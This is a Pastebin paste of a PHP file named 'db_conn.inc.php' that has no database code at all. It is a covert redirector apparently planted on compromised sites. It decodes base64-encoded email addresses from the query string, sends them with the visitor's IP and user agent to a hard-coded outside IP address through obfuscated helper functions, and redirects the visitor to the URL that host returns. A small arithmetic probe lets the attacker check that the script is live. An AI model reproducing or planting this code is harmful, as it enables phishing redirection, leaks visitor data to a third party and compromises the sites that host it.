PalmaSolutions

db_conn.inc.php

Apr 22nd, 2018
335
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.19 KB | None | 0 0
  1. <?php
  2. if (isset($_POST['test_a']) && isset($_POST['test_b']))
  3. {
  4.     echo $_POST['test_a'] * $_POST['test_b'];
  5.     exit;
  6. }
  7.  
  8. error_reporting(0);
  9.  
  10. $qs = urldecode($_SERVER['QUERY_STRING']);
  11.  
  12. $double = 0;
  13. $email  = @base64_decode($qs);
  14. if (strpos($email,'@')===false)
  15. {
  16.     $email = @base64_decode($email);
  17.     $double = 1;
  18. }
  19.  
  20.  
  21. $email = urlencode($email);
  22.  
  23. if (!empty($_SERVER["HTTP_CF_CONNECTING_IP"]))
  24. {
  25.     $ip = $_SERVER["HTTP_CF_CONNECTING_IP"];
  26. }
  27. else
  28. {
  29.     $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
  30. }
  31.  
  32. $ua = !empty($_SERVER['HTTP_USER_AGENT']) ? urlencode($_SERVER['HTTP_USER_AGENT']) : '';
  33.  
  34. $url = jk____("http://194.28.112.156/corpsbase/priemnik2.php?ip=$ip&email=$email&dbl=$double&ua=$ua");
  35.  
  36. if(!$double && !empty($url)) {
  37.     header('Location: ' . $url);
  38. } else {
  39.     header('HTTP/1.1 404 Not Found');
  40. }
  41.  
  42.  
  43.  
  44. function jk_($url)
  45. {
  46.     $ctx = stream_context_create(array('http'=>   array('timeout' => 5 )));
  47.     return file_get_contents($url,false,$ctx);
  48. }
  49.  
  50. function jk__( $sock,$host, $path, $query )
  51. {
  52.     $response = '';
  53.  
  54.     fputs($sock, "GET " . $path . "?" . $query . "  HTTP/1.0\r\n" .
  55.         "Host: $host\r\n" .
  56.         "Accept: */*\r\n" .
  57.         "Referer: http://$host\r\n\r\n");
  58.     while ( $line = fread( $sock, 4096 ) )
  59.     {
  60.         $response .= $line;
  61.     }
  62.     fclose( $sock );
  63.     $pos      = strpos($response, "\r\n\r\n");
  64.     $response = substr($response, $pos + 4);
  65.     return $response;
  66. }
  67.  
  68.  
  69. function jk___($url)
  70. {
  71.     $ch = curl_init($url);
  72.     curl_setopt($ch, CURLOPT_HEADER, FALSE);
  73.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  74.     curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  75.     $result = curl_exec($ch);
  76.     curl_close($ch);
  77.     return $result;
  78. }
  79.  
  80.  
  81. function jk____($url)
  82. {
  83.     if( ini_get("allow_url_fopen") == 1)
  84.     {
  85.         return jk_($url);
  86.     }
  87.     else
  88.     {
  89.         $url_1 = parse_url($url);
  90.  
  91.         if($sock = @fsockopen($url_1['host'], 80,$errno, $errstr,5))
  92.         {
  93.             return jk__( $sock, $url_1['host'], $url_1['path'], $url_1['query'] );
  94.         }
  95.         elseif( @function_exists('curl_init') )
  96.         {
  97.             return jk___($url);
  98.         }
  99.     }
  100. }
Advertisement
Add Comment
Please, Sign In to add comment